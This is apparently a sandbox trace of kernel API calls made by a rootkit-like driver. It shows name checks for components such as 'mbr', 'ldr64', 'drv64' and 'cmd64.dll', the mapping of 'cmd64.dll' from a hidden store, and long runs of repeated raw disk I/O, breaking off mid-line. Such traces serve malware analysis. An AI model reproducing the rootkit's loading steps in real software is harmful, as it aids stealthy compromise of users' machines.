[0073.979] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0073.979] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.979] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.979] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.979] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.979] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.979] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0073.980] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.980] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.980] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800354c630 [0073.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.980] KeLeaveCriticalRegion () [0073.980] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.980] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff80000238 | out: SectionHandle=0xfffff88002f8f9e0*=0x14) returned 0x0 [0073.980] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.980] KeEnterCriticalRegion () [0073.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.980] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.980] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.980] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.980] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0073.980] IdePortDispatch () returned 0x103 [0073.980] KeWaitForMutexObject () returned 0x0 [0073.980] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0073.980] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0073.980] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.980] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.980] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.980] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.980] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.980] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0073.980] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.980] KeLeaveCriticalRegion () [0073.980] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0073.980] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff80000240, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0073.980] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0073.980] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0073.980] KeEnterCriticalRegion () [0073.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0073.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8f000 [0073.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.981] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.981] IdePortDispatch () returned 0x103 [0073.981] KeWaitForMutexObject () returned 0x0 [0073.981] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0073.981] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0073.981] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.981] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.981] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0073.981] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.981] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0073.981] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0073.981] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0073.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.981] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.981] IdePortDispatch () returned 0x103 [0073.981] KeWaitForMutexObject () returned 0x0 [0073.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.981] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.981] IdePortDispatch () returned 0x103 [0073.981] KeWaitForMutexObject () returned 0x0 [0073.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.982] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.982] IdePortDispatch () returned 0x103 [0073.982] KeWaitForMutexObject () returned 0x0 [0073.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.982] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.982] IdePortDispatch () returned 0x103 [0073.982] KeWaitForMutexObject () returned 0x0 [0073.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.982] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.982] IdePortDispatch () returned 0x103 [0073.982] KeWaitForMutexObject () returned 0x0 [0073.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.983] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.983] IdePortDispatch () returned 0x103 [0073.983] KeWaitForMutexObject () returned 0x0 [0073.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.983] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.983] IdePortDispatch () returned 0x103 [0073.983] KeWaitForMutexObject () returned 0x0 [0073.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.983] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.983] IdePortDispatch () returned 0x103 [0073.983] KeWaitForMutexObject () returned 0x0 [0073.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.984] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.984] IdePortDispatch () returned 0x103 [0073.984] KeWaitForMutexObject () returned 0x0 [0073.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.984] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.984] IdePortDispatch () returned 0x103 [0073.984] KeWaitForMutexObject () returned 0x0 [0073.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.984] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.984] IdePortDispatch () returned 0x103 [0073.984] KeWaitForMutexObject () returned 0x0 [0073.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.984] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.984] IdePortDispatch () returned 0x103 [0073.985] KeWaitForMutexObject () returned 0x0 [0073.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.985] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.985] IdePortDispatch () returned 0x103 [0073.985] KeWaitForMutexObject () returned 0x0 [0073.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.985] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.985] IdePortDispatch () returned 0x103 [0073.985] KeWaitForMutexObject () returned 0x0 [0073.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.985] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.985] IdePortDispatch () returned 0x103 [0073.985] KeWaitForMutexObject () returned 0x0 [0073.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.986] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.986] IdePortDispatch () returned 0x103 [0073.986] KeWaitForMutexObject () returned 0x0 [0073.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.986] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.986] IdePortDispatch () returned 0x103 [0073.986] KeWaitForMutexObject () returned 0x0 [0073.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.986] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.986] IdePortDispatch () returned 0x103 [0073.986] KeWaitForMutexObject () returned 0x0 [0073.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.987] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.987] IdePortDispatch () returned 0x103 [0073.987] KeWaitForMutexObject () returned 0x0 [0073.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.987] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.987] IdePortDispatch () returned 0x103 [0073.987] KeWaitForMutexObject () returned 0x0 [0073.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.987] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.987] IdePortDispatch () returned 0x103 [0073.987] KeWaitForMutexObject () returned 0x0 [0073.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.987] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.988] IdePortDispatch () returned 0x103 [0073.988] KeWaitForMutexObject () returned 0x0 [0073.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.988] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.988] IdePortDispatch () returned 0x103 [0073.988] KeWaitForMutexObject () returned 0x0 [0073.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.988] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.988] IdePortDispatch () returned 0x103 [0073.988] KeWaitForMutexObject () returned 0x0 [0073.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.988] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.988] IdePortDispatch () returned 0x103 [0073.988] KeWaitForMutexObject () returned 0x0 [0073.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.989] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.989] IdePortDispatch () returned 0x103 [0073.989] KeWaitForMutexObject () returned 0x0 [0073.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.989] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.989] IdePortDispatch () returned 0x103 [0073.989] KeWaitForMutexObject () returned 0x0 [0073.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.989] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.989] IdePortDispatch () returned 0x103 [0073.989] KeWaitForMutexObject () returned 0x0 [0073.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.990] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.990] IdePortDispatch () returned 0x103 [0073.990] KeWaitForMutexObject () returned 0x0 [0073.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.990] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.990] IdePortDispatch () returned 0x103 [0073.990] KeWaitForMutexObject () returned 0x0 [0073.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.990] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.990] IdePortDispatch () returned 0x103 [0073.990] KeWaitForMutexObject () returned 0x0 [0073.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800355b210 | out: Irp=0xfffffa800355b210) returned 0xfffffa800343bd20 [0073.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800343bd20) [0073.991] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0073.991] IdePortDispatch () returned 0x103 [0073.991] KeWaitForMutexObject () returned 0x0 [0073.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800355b210 [0073.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 